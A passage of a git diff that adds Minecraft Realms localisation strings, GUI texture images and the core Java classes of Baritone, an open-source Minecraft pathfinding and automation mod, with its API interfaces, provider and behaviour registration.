"mco.configure.world.spawnMonsters": "Spawn monsters", + "mco.configure.world.spawnProtection": "Spawn protection", + "mco.configure.world.commandBlocks": "Command blocks", + "mco.configure.world.forceGameMode": "Force game mode", + "mco.configure.world.on": "On", + "mco.configure.world.off": "Off", + "mco.configure.world.slot": "World %s", + "mco.configure.world.slot.empty": "Empty", + "mco.create.world.wait": "Creating the realm...", + "mco.create.world.error": "You must enter a name!", + "mco.create.world.subtitle": "Optionally, select what world to put on your new realm", + "mco.create.world.skip": "Skip", + "mco.reset.world.title": "Reset world", + "mco.reset.world.warning": "This will replace the current world of your realm", + "mco.reset.world.seed": "Seed (Optional)", + "mco.reset.world.resetting.screen.title": "Resetting world...", + "mco.reset.world.generate": "New world", + "mco.reset.world.upload": "Upload world", + "mco.reset.world.adventure": "Adventures", + "mco.reset.world.template": "World templates", + "mco.reset.world.experience": "Experiences", + "mco.reset.world.inspiration": "Inspiration", + "mco.minigame.world.title": "Switch realm to minigame", + "mco.minigame.world.info.line1": "This will temporarily replace your world with a minigame!", + "mco.minigame.world.info.line2": "You can later return to your original world without losing anything.", + "mco.minigame.world.selected": "Selected minigame:", + "mco.minigame.world.noSelection": "Please make a selection", + "mco.minigame.world.startButton": "Switch", + "mco.minigame.world.starting.screen.title": "Starting minigame...", + "mco.minigame.world.changeButton": "Select another minigame", + "mco.minigame.world.stopButton": "End minigame", + "mco.minigame.world.switch.title": "Switch minigame", + "mco.minigame.world.switch.new": "Select another minigame?", + "mco.minigame.world.restore.question.line1": "The minigame will end and your realm will be restored.", + "mco.minigame.world.restore.question.line2": "Are you sure you want to continue?", + "mco.minigame.world.restore": "Ending minigame...", + "mco.configure.world.slot.tooltip": "Switch to world", + "mco.configure.world.slot.tooltip.minigame": "Switch to minigame", + "mco.configure.world.slot.tooltip.active": "Join", + "mco.configure.world.close.question.line1": "Your realm will become unavailable.", + "mco.configure.world.close.question.line2": "Are you sure you want to continue?", + "mco.configure.world.leave.question.line1": "If you leave this realm you won't see it unless you are invited again", + "mco.configure.world.leave.question.line2": "Are you sure you want to continue?", + "mco.configure.world.resourcepack.question.line1": "You need a custom resource pack to play on this realm", + "mco.configure.world.resourcepack.question.line2": "Do you want to download it and play?", + "mco.configure.world.reset.question.line1": "Your world will be regenerated and your current world will be lost", + "mco.configure.world.reset.question.line2": "Are you sure you want to continue?", + "mco.configure.world.restore.question.line1": "Your world will be restored to date '%s' (%s)", + "mco.configure.world.restore.question.line2": "Are you sure you want to continue?", + "mco.configure.world.restore.download.question.line1": "The world will be downloaded and added to your single player worlds.", + "mco.configure.world.restore.download.question.line2": "Do you want to continue?", + "mco.configure.world.slot.switch.question.line1": "Your realm will be switched to another world", + "mco.configure.world.slot.switch.question.line2": "Are you sure you want to continue?", + "mco.configure.world.switch.slot": "Create world", + "mco.configure.world.switch.slot.subtitle": "This world is empty, choose how to create your world", + "mco.minigame.world.slot.screen.title": "Switching world...", + "mco.configure.world.edit.subscreen.adventuremap": "Some settings are disabled since your current world is an adventure", + "mco.configure.world.edit.subscreen.experience": "Some settings are disabled since your current world is an experience", + "mco.configure.world.edit.subscreen.inspiration": "Some settings are disabled since your current world is an inspiration", + "mco.configure.world.edit.slot.name": "World name", + "mco.configure.world.players.title": "Players", + "mco.configure.world.players.error": "A player with the provided name does not exist", + "mco.configure.world.delete.button": "Delete realm", + "mco.configure.world.delete.question.line1": "Your realm will be permanently deleted", + "mco.configure.world.delete.question.line2": "Are you sure you want to continue?", + "mco.connect.connecting": "Connecting to the realm...", + "mco.connect.authorizing": "Logging in...", + "mco.connect.failed": "Failed to connect to the realm", + "mco.connect.success": "Done", + "mco.create.world": "Create", + "mco.create.world.reset.title": "Creating world...", + "mco.client.outdated.title": "Client outdated!", + "mco.client.outdated.msg.line1": "Your client is outdated and not compatible with Realms.", + "mco.client.outdated.msg.line2": "Please update to the most recent version of Minecraft.", + "mco.client.incompatible.title": "Client incompatible!", + "mco.client.incompatible.msg.line1": "Your client is not compatible with Realms.", + "mco.client.incompatible.msg.line2": "Please use the most recent version of Minecraft.", + "mco.client.incompatible.msg.line3": "Realms is not compatible with snapshot versions.", + "mco.backup.button.restore": "Restore", + "mco.backup.generate.world": "Generate world", + "mco.backup.restoring": "Restoring your realm", + "mco.backup.button.download": "Download latest", + "mco.backup.changes.tooltip": "Changes", + "mco.backup.nobackups": "This realm doesn't have any backups currently.", + "mco.backup.button.upload": "Upload world", + "mco.backup.button.reset": "Reset world", + "mco.download.title": "Downloading latest world", + "mco.download.cancelled": "Download cancelled", + "mco.download.failed": "Download failed", + "mco.download.done": "Download done", + "mco.download.downloading": "Downloading", + "mco.download.extracting": "Extracting", + "mco.download.preparing": "Preparing download", + "mco.download.confirmation.line1": "The world you are going to download is larger than %s", + "mco.download.confirmation.line2": "You won't be able to upload this world to your realm again", + "mco.template.title": "World templates", + "mco.template.title.minigame": "Minigames", + "mco.template.button.select": "Select", + "mco.template.button.trailer": "Trailer", + "mco.template.button.publisher": "Publisher", + "mco.template.default.name": "World template", + "mco.template.name": "Template", + "mco.template.info.tooltip": "Publisher website", + "mco.template.trailer.tooltip": "Map trailer", + "mco.template.select.none": "Oops, it looks like this content category is currently empty.\nPlease check back later for new content, or if you're a creator,\n%s.", + "mco.template.select.none.linkTitle": "consider submitting something yourself", + "mco.template.select.failure": "We couldn't retrieve the list of content for this category.\nPlease check your internet connection, or try again later.", + "mco.template.select.narrate.authors" : "Authors: %s", + "narrator.select.list.position" : "item %s out of %s", + "mco.template.select.narrate.version" : "version %s", + "mco.invites.button.accept": "Accept", + "mco.invites.button.reject": "Reject", + "mco.invites.title": "Pending Invites", + "mco.invites.pending": "New invites!", + "mco.invites.nopending": "No pending invites!", + "mco.upload.select.world.title": "Upload world", + "mco.upload.select.world.subtitle": "Please select a singleplayer world to upload", + "mco.upload.select.world.none": "No singleplayer worlds found!", + "mco.upload.button.name": "Upload", + "mco.upload.verifying": "Verifying your world", + "mco.upload.preparing": "Preparing your world", + "mco.upload.close.failure": "Could not close your realm, please try again later", + "mco.upload.size.failure.line1": "'%s' is too big!", + "mco.upload.size.failure.line2": "It is %s. The maximum allowed size is %s.", + "mco.upload.uploading": "Uploading '%s'", + "mco.upload.done": "Upload done", + "mco.upload.failed": "Upload failed! (%s)", + "mco.upload.cancelled": "Upload cancelled", + "mco.upload.hardcore": "Hardcore worlds can't be uploaded!", + "mco.activity.title": "Player activity", + "mco.activity.noactivity": "No activity for the past %s days", + "mco.errorMessage.6001": "Client outdated", + "mco.errorMessage.6002": "Terms of service not accepted", + "mco.errorMessage.6003": "Download limit reached", + "mco.errorMessage.6004": "Upload limit reached", + "mco.errorMessage.connectionFailure": "An error occurred, please try again later.", + "mco.trial.message.line1": "Want to get your own realm?", + "mco.trial.message.line2": "Click here for more info!", + "mco.brokenworld.play": "Play", + "mco.brokenworld.download": "Download", + "mco.brokenworld.downloaded": "Downloaded", + "mco.brokenworld.reset": "Reset", + "mco.brokenworld.title": "Your current world is no longer supported", + "mco.brokenworld.message.line1": "Please reset or select another world.", + "mco.brokenworld.message.line2": "You can also choose to download the world to singleplayer.", + "mco.brokenworld.minigame.title": "This minigame is no longer supported", + "mco.brokenworld.nonowner.title": "World is out of date", + "mco.brokenworld.nonowner.error": "Please wait for the realm owner to reset the world", + "mco.error.invalid.session.title": "Invalid session", + "mco.error.invalid.session.message": "Please try restarting Minecraft", + "mco.news": "Realms news", + "mco.account.privacyinfo": "Mojang implements certain procedures to help protect children and their privacy including complying with the Children’s Online Privacy Protection Act (COPPA) and General Data Protection Regulation (GDPR).\n\nYou may need to obtain parental consent before accessing your Realms account.\n\nIf you have an older Minecraft account (you log in with your username), you need to migrate the account to a Mojang account in order to access Realms.", + "mco.account.update": "Update account", + "mco.account.privacy.info": "Read more about Mojang and privacy laws" +} \ No newline at end of file diff --git a/src/assets/realms/textures/gui/realms/accept_icon.png b/src/assets/realms/textures/gui/realms/accept_icon.png new file mode 100644 index 00000000..f790ce5f Binary files /dev/null and b/src/assets/realms/textures/gui/realms/accept_icon.png differ diff --git a/src/assets/realms/textures/gui/realms/adventure.png b/src/assets/realms/textures/gui/realms/adventure.png new file mode 100644 index 00000000..52e5a512 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/adventure.png differ diff --git a/src/assets/realms/textures/gui/realms/configure_icon.png b/src/assets/realms/textures/gui/realms/configure_icon.png new file mode 100644 index 00000000..4f865c64 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/configure_icon.png differ diff --git a/src/assets/realms/textures/gui/realms/cross_icon.png b/src/assets/realms/textures/gui/realms/cross_icon.png new file mode 100644 index 00000000..6d2ba634 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/cross_icon.png differ diff --git a/src/assets/realms/textures/gui/realms/cross_player_icon.png b/src/assets/realms/textures/gui/realms/cross_player_icon.png new file mode 100644 index 00000000..8d955d65 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/cross_player_icon.png differ diff --git a/src/assets/realms/textures/gui/realms/darken.png b/src/assets/realms/textures/gui/realms/darken.png new file mode 100644 index 00000000..bfb7152e Binary files /dev/null and b/src/assets/realms/textures/gui/realms/darken.png differ diff --git a/src/assets/realms/textures/gui/realms/empty_frame.png b/src/assets/realms/textures/gui/realms/empty_frame.png new file mode 100644 index 00000000..847af28e Binary files /dev/null and b/src/assets/realms/textures/gui/realms/empty_frame.png differ diff --git a/src/assets/realms/textures/gui/realms/experience.png b/src/assets/realms/textures/gui/realms/experience.png new file mode 100644 index 00000000..b4d3c624 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/experience.png differ diff --git a/src/assets/realms/textures/gui/realms/expired_icon.png b/src/assets/realms/textures/gui/realms/expired_icon.png new file mode 100644 index 00000000..6dcfce89 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/expired_icon.png differ diff --git a/src/assets/realms/textures/gui/realms/expires_soon_icon.png b/src/assets/realms/textures/gui/realms/expires_soon_icon.png new file mode 100644 index 00000000..707d22e7 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/expires_soon_icon.png differ diff --git a/src/assets/realms/textures/gui/realms/inspiration.png b/src/assets/realms/textures/gui/realms/inspiration.png new file mode 100644 index 00000000..552eee8b Binary files /dev/null and b/src/assets/realms/textures/gui/realms/inspiration.png differ diff --git a/src/assets/realms/textures/gui/realms/invitation_icons.png b/src/assets/realms/textures/gui/realms/invitation_icons.png new file mode 100644 index 00000000..3d14e84a Binary files /dev/null and b/src/assets/realms/textures/gui/realms/invitation_icons.png differ diff --git a/src/assets/realms/textures/gui/realms/invite_icon.png b/src/assets/realms/textures/gui/realms/invite_icon.png new file mode 100644 index 00000000..688e4e3c Binary files /dev/null and b/src/assets/realms/textures/gui/realms/invite_icon.png differ diff --git a/src/assets/realms/textures/gui/realms/leave_icon.png b/src/assets/realms/textures/gui/realms/leave_icon.png new file mode 100644 index 00000000..cfda7fc0 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/leave_icon.png differ diff --git a/src/assets/realms/textures/gui/realms/link_icons.png b/src/assets/realms/textures/gui/realms/link_icons.png new file mode 100644 index 00000000..585f501b Binary files /dev/null and b/src/assets/realms/textures/gui/realms/link_icons.png differ diff --git a/src/assets/realms/textures/gui/realms/new_world.png b/src/assets/realms/textures/gui/realms/new_world.png new file mode 100644 index 00000000..31f12163 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/new_world.png differ diff --git a/src/assets/realms/textures/gui/realms/news_icon.png b/src/assets/realms/textures/gui/realms/news_icon.png new file mode 100644 index 00000000..18264d79 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/news_icon.png differ diff --git a/src/assets/realms/textures/gui/realms/news_notification_mainscreen.png b/src/assets/realms/textures/gui/realms/news_notification_mainscreen.png new file mode 100644 index 00000000..25517167 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/news_notification_mainscreen.png differ diff --git a/src/assets/realms/textures/gui/realms/off_icon.png b/src/assets/realms/textures/gui/realms/off_icon.png new file mode 100644 index 00000000..18d8c7c0 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/off_icon.png differ diff --git a/src/assets/realms/textures/gui/realms/on_icon.png b/src/assets/realms/textures/gui/realms/on_icon.png new file mode 100644 index 00000000..98e2a107 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/on_icon.png differ diff --git a/src/assets/realms/textures/gui/realms/op_icon.png b/src/assets/realms/textures/gui/realms/op_icon.png new file mode 100644 index 00000000..2299067b Binary files /dev/null and b/src/assets/realms/textures/gui/realms/op_icon.png differ diff --git a/src/assets/realms/textures/gui/realms/plus_icon.png b/src/assets/realms/textures/gui/realms/plus_icon.png new file mode 100644 index 00000000..903d022e Binary files /dev/null and b/src/assets/realms/textures/gui/realms/plus_icon.png differ diff --git a/src/assets/realms/textures/gui/realms/popup.png b/src/assets/realms/textures/gui/realms/popup.png new file mode 100644 index 00000000..b2803508 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/popup.png differ diff --git a/src/assets/realms/textures/gui/realms/questionmark.png b/src/assets/realms/textures/gui/realms/questionmark.png new file mode 100644 index 00000000..93ad210d Binary files /dev/null and b/src/assets/realms/textures/gui/realms/questionmark.png differ diff --git a/src/assets/realms/textures/gui/realms/reject_icon.png b/src/assets/realms/textures/gui/realms/reject_icon.png new file mode 100644 index 00000000..5113320f Binary files /dev/null and b/src/assets/realms/textures/gui/realms/reject_icon.png differ diff --git a/src/assets/realms/textures/gui/realms/restore_icon.png b/src/assets/realms/textures/gui/realms/restore_icon.png new file mode 100644 index 00000000..d00a3772 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/restore_icon.png differ diff --git a/src/assets/realms/textures/gui/realms/slot_frame.png b/src/assets/realms/textures/gui/realms/slot_frame.png new file mode 100644 index 00000000..624c4ef5 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/slot_frame.png differ diff --git a/src/assets/realms/textures/gui/realms/survival_spawn.png b/src/assets/realms/textures/gui/realms/survival_spawn.png new file mode 100644 index 00000000..e11e3ba2 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/survival_spawn.png differ diff --git a/src/assets/realms/textures/gui/realms/trailer_icons.png b/src/assets/realms/textures/gui/realms/trailer_icons.png new file mode 100644 index 00000000..ec817a76 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/trailer_icons.png differ diff --git a/src/assets/realms/textures/gui/realms/trial_icon.png b/src/assets/realms/textures/gui/realms/trial_icon.png new file mode 100644 index 00000000..c2087092 Binary files /dev/null and b/src/assets/realms/textures/gui/realms/trial_icon.png differ diff --git a/src/assets/realms/textures/gui/realms/upload.png b/src/assets/realms/textures/gui/realms/upload.png new file mode 100644 index 00000000..1cf68f7d Binary files /dev/null and b/src/assets/realms/textures/gui/realms/upload.png differ diff --git a/src/assets/realms/textures/gui/realms/user_icon.png b/src/assets/realms/textures/gui/realms/user_icon.png new file mode 100644 index 00000000..bdd57e4a Binary files /dev/null and b/src/assets/realms/textures/gui/realms/user_icon.png differ diff --git a/src/assets/realms/textures/gui/realms/world_icon.png b/src/assets/realms/textures/gui/realms/world_icon.png new file mode 100644 index 00000000..f636bfee Binary files /dev/null and b/src/assets/realms/textures/gui/realms/world_icon.png differ diff --git a/src/assets/realms/textures/gui/title/realms.png b/src/assets/realms/textures/gui/title/realms.png new file mode 100644 index 00000000..50e1979e Binary files /dev/null and b/src/assets/realms/textures/gui/title/realms.png differ diff --git a/src/baritone/Baritone.java b/src/baritone/Baritone.java new file mode 100644 index 00000000..39683679 --- /dev/null +++ b/src/baritone/Baritone.java @@ -0,0 +1,254 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone; + +import baritone.api.BaritoneAPI; +import baritone.api.IBaritone; +import baritone.api.Settings; +import baritone.api.behavior.IBehavior; +import baritone.api.event.listener.IEventBus; +import baritone.api.process.IBaritoneProcess; +import baritone.api.utils.IPlayerContext; +import baritone.behavior.*; +import baritone.cache.WorldProvider; +import baritone.command.manager.CommandManager; +import baritone.event.GameEventHandler; +import baritone.process.*; +import baritone.selection.SelectionManager; +import baritone.utils.BlockStateInterface; +import baritone.utils.GuiClick; +import baritone.utils.InputOverrideHandler; +import baritone.utils.PathingControlManager; +import baritone.utils.player.BaritonePlayerContext; +import net.minecraft.client.Minecraft; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.concurrent.Executor; +import java.util.concurrent.SynchronousQueue; +import java.util.concurrent.ThreadPoolExecutor; +import java.util.concurrent.TimeUnit; +import java.util.function.Function; + +/** + * @author Brady + * @since 7/31/2018 + */ +public class Baritone implements IBaritone { + + private static final ThreadPoolExecutor threadPool; + + static { + threadPool = new ThreadPoolExecutor(4, Integer.MAX_VALUE, 60L, TimeUnit.SECONDS, new SynchronousQueue<>()); + } + + private final Minecraft mc; + private final Path directory; + + private final GameEventHandler gameEventHandler; + + private final PathingBehavior pathingBehavior; + private final LookBehavior lookBehavior; + private final InventoryBehavior inventoryBehavior; + private final InputOverrideHandler inputOverrideHandler; + + private final FollowProcess followProcess; + private final MineProcess mineProcess; + private final GetToBlockProcess getToBlockProcess; + private final CustomGoalProcess customGoalProcess; + private final BuilderProcess builderProcess; + private final ExploreProcess exploreProcess; + private final FarmProcess farmProcess; + private final InventoryPauserProcess inventoryPauserProcess; + + private final PathingControlManager pathingControlManager; + private final SelectionManager selectionManager; + private final CommandManager commandManager; + + private final IPlayerContext playerContext; + private final WorldProvider worldProvider; + + public BlockStateInterface bsi; + + Baritone(Minecraft mc) { + this.mc = mc; + this.gameEventHandler = new GameEventHandler(this); + + this.directory = mc.gameDir.toPath().resolve("baritone"); + if (!Files.exists(this.directory)) { + try { + Files.createDirectories(this.directory); + } catch (IOException ignored) {} + } + + // Define this before behaviors try and get it, or else it will be null and the builds will fail! + this.playerContext = new BaritonePlayerContext(this, mc); + + { + this.lookBehavior = this.registerBehavior(LookBehavior::new); + this.pathingBehavior = this.registerBehavior(PathingBehavior::new); + this.inventoryBehavior = this.registerBehavior(InventoryBehavior::new); + this.inputOverrideHandler = this.registerBehavior(InputOverrideHandler::new); + this.registerBehavior(WaypointBehavior::new); + } + + this.pathingControlManager = new PathingControlManager(this); + { + this.followProcess = this.registerProcess(FollowProcess::new); + this.mineProcess = this.registerProcess(MineProcess::new); + this.customGoalProcess = this.registerProcess(CustomGoalProcess::new); // very high iq + this.getToBlockProcess = this.registerProcess(GetToBlockProcess::new); + this.builderProcess = this.registerProcess(BuilderProcess::new); + this.exploreProcess = this.registerProcess(ExploreProcess::new); + this.farmProcess = this.registerProcess(FarmProcess::new); + this.inventoryPauserProcess = this.registerProcess(InventoryPauserProcess::new); + this.registerProcess(BackfillProcess::new); + } + + this.worldProvider = new WorldProvider(this); + this.selectionManager = new SelectionManager(this); + this.commandManager = new CommandManager(this); + } + + public void registerBehavior(IBehavior behavior) { + this.gameEventHandler.registerEventListener(behavior); + } + + public T registerBehavior(Function constructor) { + final T behavior = constructor.apply(this); + this.registerBehavior(behavior); + return behavior; + } + + public T registerProcess(Function constructor) { + final T behavior = constructor.apply(this); + this.pathingControlManager.registerProcess(behavior); + return behavior; + } + + @Override + public PathingControlManager getPathingControlManager() { + return this.pathingControlManager; + } + + @Override + public InputOverrideHandler getInputOverrideHandler() { + return this.inputOverrideHandler; + } + + @Override + public CustomGoalProcess getCustomGoalProcess() { + return this.customGoalProcess; + } + + @Override + public GetToBlockProcess getGetToBlockProcess() { + return this.getToBlockProcess; + } + + @Override + public IPlayerContext getPlayerContext() { + return this.playerContext; + } + + @Override + public FollowProcess getFollowProcess() { + return this.followProcess; + } + + @Override + public BuilderProcess getBuilderProcess() { + return this.builderProcess; + } + + public InventoryBehavior getInventoryBehavior() { + return this.inventoryBehavior; + } + + @Override + public LookBehavior getLookBehavior() { + return this.lookBehavior; + } + + @Override + public ExploreProcess getExploreProcess() { + return this.exploreProcess; + } + + @Override + public MineProcess getMineProcess() { + return this.mineProcess; + } + + @Override + public FarmProcess getFarmProcess() { + return this.farmProcess; + } + + public InventoryPauserProcess getInventoryPauserProcess() { + return this.inventoryPauserProcess; + } + + @Override + public PathingBehavior getPathingBehavior() { + return this.pathingBehavior; + } + + @Override + public SelectionManager getSelectionManager() { + return selectionManager; + } + + @Override + public WorldProvider getWorldProvider() { + return this.worldProvider; + } + + @Override + public IEventBus getGameEventHandler() { + return this.gameEventHandler; + } + + @Override + public CommandManager getCommandManager() { + return this.commandManager; + } + + @Override + public void openClick() { + new Thread(() -> { + try { + Thread.sleep(100); + mc.execute(() -> mc.displayGuiScreen(new GuiClick())); + } catch (Exception ignored) {} + }).start(); + } + + public Path getDirectory() { + return this.directory; + } + + public static Settings settings() { + return BaritoneAPI.getSettings(); + } + + public static Executor getExecutor() { + return threadPool; + } +} diff --git a/src/baritone/BaritoneProvider.java b/src/baritone/BaritoneProvider.java new file mode 100644 index 00000000..f34d9bcb --- /dev/null +++ b/src/baritone/BaritoneProvider.java @@ -0,0 +1,91 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone; + +import baritone.api.IBaritone; +import baritone.api.IBaritoneProvider; +import baritone.api.cache.IWorldScanner; +import baritone.api.command.ICommandSystem; +import baritone.api.schematic.ISchematicSystem; +import baritone.cache.FasterWorldScanner; +import baritone.command.CommandSystem; +import baritone.command.ExampleBaritoneControl; +import baritone.utils.schematic.SchematicSystem; +import net.minecraft.client.Minecraft; + +import java.util.Collections; +import java.util.List; +import java.util.concurrent.CopyOnWriteArrayList; + +/** + * @author Brady + * @since 9/29/2018 + */ +public final class BaritoneProvider implements IBaritoneProvider { + + private final List all; + private final List allView; + + public BaritoneProvider() { + this.all = new CopyOnWriteArrayList<>(); + this.allView = Collections.unmodifiableList(this.all); + + // Setup chat control, just for the primary instance + final Baritone primary = (Baritone) this.createBaritone(Minecraft.getInstance()); + primary.registerBehavior(ExampleBaritoneControl::new); + } + + @Override + public IBaritone getPrimaryBaritone() { + return this.all.get(0); + } + + @Override + public List getAllBaritones() { + return this.allView; + } + + @Override + public synchronized IBaritone createBaritone(Minecraft minecraft) { + IBaritone baritone = this.getBaritoneForMinecraft(minecraft); + if (baritone == null) { + this.all.add(baritone = new Baritone(minecraft)); + } + return baritone; + } + + @Override + public synchronized boolean destroyBaritone(IBaritone baritone) { + return baritone != this.getPrimaryBaritone() && this.all.remove(baritone); + } + + @Override + public IWorldScanner getWorldScanner() { + return FasterWorldScanner.INSTANCE; + } + + @Override + public ICommandSystem getCommandSystem() { + return CommandSystem.INSTANCE; + } + + @Override + public ISchematicSystem getSchematicSystem() { + return SchematicSystem.INSTANCE; + } +} diff --git a/src/baritone/KeepName.java b/src/baritone/KeepName.java new file mode 100644 index 00000000..7fc04cd6 --- /dev/null +++ b/src/baritone/KeepName.java @@ -0,0 +1,21 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone; + +// Annotation for classes and class members that should not be renamed by proguard +public @interface KeepName {} diff --git a/src/baritone/api/BaritoneAPI.java b/src/baritone/api/BaritoneAPI.java new file mode 100644 index 00000000..fa98525b --- /dev/null +++ b/src/baritone/api/BaritoneAPI.java @@ -0,0 +1,51 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api; + +import baritone.api.utils.SettingsUtil; + +/** + * Exposes the {@link IBaritoneProvider} instance and the {@link Settings} instance for API usage. + * + * @author Brady + * @since 9/23/2018 + */ +public final class BaritoneAPI { + + private static final IBaritoneProvider provider; + private static final Settings settings; + + static { + settings = new Settings(); + SettingsUtil.readAndApply(settings, SettingsUtil.SETTINGS_DEFAULT_NAME); + + try { + provider = (IBaritoneProvider) Class.forName("baritone.BaritoneProvider").newInstance(); + } catch (ReflectiveOperationException ex) { + throw new RuntimeException(ex); + } + } + + public static IBaritoneProvider getProvider() { + return BaritoneAPI.provider; + } + + public static Settings getSettings() { + return BaritoneAPI.settings; + } +} diff --git a/src/baritone/api/IBaritone.java b/src/baritone/api/IBaritone.java new file mode 100644 index 00000000..0cc73b0d --- /dev/null +++ b/src/baritone/api/IBaritone.java @@ -0,0 +1,140 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api; + +import baritone.api.behavior.ILookBehavior; +import baritone.api.behavior.IPathingBehavior; +import baritone.api.cache.IWorldProvider; +import baritone.api.command.manager.ICommandManager; +import baritone.api.event.listener.IEventBus; +import baritone.api.pathing.calc.IPathingControlManager; +import baritone.api.process.*; +import baritone.api.selection.ISelectionManager; +import baritone.api.utils.IInputOverrideHandler; +import baritone.api.utils.IPlayerContext; + +/** + * @author Brady + * @since 9/29/2018 + */ +public interface IBaritone { + + /** + * @return The {@link IPathingBehavior} instance + * @see IPathingBehavior + */ + IPathingBehavior getPathingBehavior(); + + /** + * @return The {@link ILookBehavior} instance + * @see ILookBehavior + */ + ILookBehavior getLookBehavior(); + + /** + * @return The {@link IFollowProcess} instance + * @see IFollowProcess + */ + IFollowProcess getFollowProcess(); + + /** + * @return The {@link IMineProcess} instance + * @see IMineProcess + */ + IMineProcess getMineProcess(); + + /** + * @return The {@link IBuilderProcess} instance + * @see IBuilderProcess + */ + IBuilderProcess getBuilderProcess(); + + /** + * @return The {@link IExploreProcess} instance + * @see IExploreProcess + */ + IExploreProcess getExploreProcess(); + + /** + * @return The {@link IFarmProcess} instance + * @see IFarmProcess + */ + IFarmProcess getFarmProcess(); + + /** + * @return The {@link ICustomGoalProcess} instance + * @see ICustomGoalProcess + */ + ICustomGoalProcess getCustomGoalProcess(); + + /** + * @return The {@link IGetToBlockProcess} instance + * @see IGetToBlockProcess + */ + IGetToBlockProcess getGetToBlockProcess(); + + /** + * @return The {@link IWorldProvider} instance + * @see IWorldProvider + */ + IWorldProvider getWorldProvider(); + + /** + * Returns the {@link IPathingControlManager} for this {@link IBaritone} instance, which is responsible + * for managing the {@link IBaritoneProcess}es which control the {@link IPathingBehavior} state. + * + * @return The {@link IPathingControlManager} instance + * @see IPathingControlManager + */ + IPathingControlManager getPathingControlManager(); + + /** + * @return The {@link IInputOverrideHandler} instance + * @see IInputOverrideHandler + */ + IInputOverrideHandler getInputOverrideHandler(); + + /** + * @return The {@link IPlayerContext} instance + * @see IPlayerContext + */ + IPlayerContext getPlayerContext(); + + /** + * @return The {@link IEventBus} instance + * @see IEventBus + */ + IEventBus getGameEventHandler(); + + /** + * @return The {@link ISelectionManager} instance + * @see ISelectionManager + */ + ISelectionManager getSelectionManager(); + + /** + * @return The {@link ICommandManager} instance + * @see ICommandManager + */ + ICommandManager getCommandManager(); + + /** + * Open click + */ + void openClick(); +} diff --git a/src/baritone/api/IBaritoneProvider.java b/src/baritone/api/IBaritoneProvider.java new file mode 100644 index 00000000..94c410ed --- /dev/null +++ b/src/baritone/api/IBaritoneProvider.java @@ -0,0 +1,123 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api; + +import baritone.api.cache.IWorldScanner; +import baritone.api.command.ICommand; +import baritone.api.command.ICommandSystem; +import baritone.api.schematic.ISchematicSystem; +import net.minecraft.client.Minecraft; +import net.minecraft.client.entity.player.ClientPlayerEntity; + +import java.util.List; +import java.util.Objects; + +/** + * Provides the present {@link IBaritone} instances, as well as non-baritone instance related APIs. + * + 